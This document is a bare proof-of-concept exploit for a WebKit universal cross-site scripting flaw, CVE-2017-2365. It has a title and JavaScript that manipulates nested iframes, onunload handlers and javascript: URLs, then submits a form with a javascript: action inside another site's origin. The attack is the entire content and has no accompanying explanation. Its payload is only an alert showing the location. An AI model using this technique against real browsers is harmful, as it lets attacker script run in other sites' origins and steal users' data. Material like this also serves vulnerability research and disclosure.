Apple WebKit: UXSS via Frame::setDocument (CVE-2017-2365)

                                                "use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () => {
            f.onload = () => {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";